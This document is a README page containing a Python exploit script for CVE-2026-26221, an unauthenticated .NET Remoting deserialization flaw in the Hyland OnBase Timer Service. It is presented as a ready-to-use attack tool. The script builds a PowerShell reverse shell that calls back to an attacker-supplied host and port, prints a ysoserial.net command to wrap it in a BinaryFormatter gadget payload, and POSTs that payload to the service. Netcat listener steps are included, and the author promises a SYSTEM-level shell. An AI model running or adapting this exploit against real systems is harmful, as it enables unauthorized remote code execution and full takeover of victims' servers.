README.md
Rendering markdown...
#!/usr/bin/env python3
# Exploit Title: Hyland OnBase Timer Service Unauthenticated .NET Remoting RCE
# Exploit Author: Mohammed Idrees Banyamer
# Vendor Homepage: https://www.hyland.com/en/solutions/products/onbase
# Version: Multiple (affected versions prior to patched releases ~2025-2026)
# Tested on: Windows Server with OnBase Timer Service
# CVE: CVE-2026-26221
# Advisory: Hyland OB2025-03 / VulnCheck advisory
# CVSS: 9.8 (Critical)
#
# Description:
# Exploits unauthenticated .NET Remoting deserialization vulnerability in
# Hyland OnBase Workflow/Workview Timer Service (port 8900) allowing remote
# code execution via BinaryFormatter gadget chains.
#
# Usage:
# python3 exploit.py <target> --lhost <your_ip> --lport <your_port>
#
# Examples:
# python3 exploit.py 192.168.10.50 --lhost 192.168.1.100 --lport 4444
# python3 exploit.py 10.10.10.123 --lhost 192.168.5.77 --lport 9001 --endpoint TimerServiceEvents.rem
#
# Options:
# target Target IP or hostname
# --port Target port (default: 8900)
# --endpoint Remoting endpoint (default: TimerServiceAPI.rem)
# --lhost Listener IP (required)
# --lport Listener port (required)
# --gadget ysoserial gadget (default: TypeConfuseDelegate)
#
# Notes:
# - Requires ysoserial.net[](https://github.com/pwntester/ysoserial.net)
# - Start netcat listener before running: nc -lvnp <lport>
# - Exploit is blind; success = reverse shell connection
# - Service typically runs as SYSTEM → high-privilege shell
#
# How to Use
#
# Step 1: Start listener
# nc -lvnp 4444
#
# Step 2: Run the exploit
# python3 exploit.py 192.168.10.50 --lhost 192.168.1.100 --lport 4444
#
# Step 3: When prompted, copy-paste and run the displayed ysoserial command
# in a separate terminal (Windows or Wine/Mono), then press Enter
#
# Step 4: Wait for reverse shell (usually within seconds if vulnerable)
import argparse
import requests
import sys
import os
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def build_powershell_reverse_shell(lhost: str, lport: int) -> str:
ps_command = (
f"$client = New-Object System.Net.Sockets.TCPClient('{lhost}',{lport});"
f"$stream = $client.GetStream();"
f"[byte[]]$bytes = 0..65535|%{{0}};"
f"while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;"
f"$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);"
f"$sendback = (iex $data 2>&1 | Out-String );"
f"$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';"
f"$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);"
f"$stream.Write($sendbyte,0,$sendbyte.Length);"
f"$stream.Flush()}};"
f"$client.Close()"
)
return ps_command
def print_ysoserial_command(cmd: str, gadget: str = "TypeConfuseDelegate"):
ysoserial_cmd = (
f'ysoserial.exe -f BinaryFormatter -g {gadget} '
f'-c "powershell -nop -exec bypass -c \\"{cmd}\\"" '
f'-o raw > rev_shell.bin'
)
print("\n" + "="*80)
print("COPY & PASTE THIS COMMAND IN ANOTHER TERMINAL/WINDOW:")
print(ysoserial_cmd)
print("="*80)
print("After it finishes (you should see rev_shell.bin created), press ENTER here...")
def send_payload(target: str, port: int, endpoint: str, payload_path: str):
url = f"http://{target}:{port}/{endpoint}"
try:
with open(payload_path, "rb") as f:
payload = f.read()
print(f"[+] Loaded {len(payload)} bytes BinaryFormatter payload")
print(f"[+] Sending to {url}")
headers = {
"Content-Type": "application/octet-stream",
"User-Agent": ".NET Remoting",
"__RequestVerb": "POST",
}
r = requests.post(
url,
data=payload,
headers=headers,
timeout=25,
allow_redirects=False,
verify=False
)
print(f"[+] HTTP Status: {r.status_code}")
if r.status_code in (200, 500):
print("[+] Payload accepted → Deserialization triggered!")
print("[+] Check your netcat listener for SYSTEM reverse shell!")
else:
print(f"[!] Unexpected status code: {r.status_code}")
print(r.text[:500] if r.text else "[no response body]")
except Exception as e:
print(f"[-] Error: {e}")
def main():
parser = argparse.ArgumentParser(description="CVE-2026-26221 Hyland OnBase Timer Service RCE")
parser.add_argument("target", help="Target IP or hostname")
parser.add_argument("--port", type=int, default=8900, help="Target port (default: 8900)")
parser.add_argument("--endpoint", default="TimerServiceAPI.rem",
choices=["TimerServiceAPI.rem", "TimerServiceEvents.rem"],
help="Remoting endpoint")
parser.add_argument("--lhost", required=True, help="YOUR IP for reverse shell")
parser.add_argument("--lport", type=int, required=True, help="YOUR listening port")
parser.add_argument("--gadget", default="TypeConfuseDelegate",
choices=["TypeConfuseDelegate", "TextFormattingRunProperties", "ObjectDataProvider"],
help="ysoserial gadget")
args = parser.parse_args()
print(f"[+] Start your listener now: nc -lvnp {args.lport}")
input("Press ENTER when listener is running...")
ps_cmd = build_powershell_reverse_shell(args.lhost, args.lport)
print_ysoserial_command(ps_cmd, args.gadget)
input("\nAfter generating rev_shell.bin, press ENTER to continue...")
if not os.path.exists("rev_shell.bin"):
payload_path = input("Enter full path to payload file (rev_shell.bin): ").strip()
else:
payload_path = "rev_shell.bin"
if not os.path.exists(payload_path):
print("[-] Payload file not found!")
sys.exit(1)
send_payload(args.target, args.port, args.endpoint, payload_path)
print("\n[+] Exploit finished.")
print(" If no connection → try: --gadget TextFormattingRunProperties or --endpoint TimerServiceEvents.rem")
if __name__ == "__main__":
main()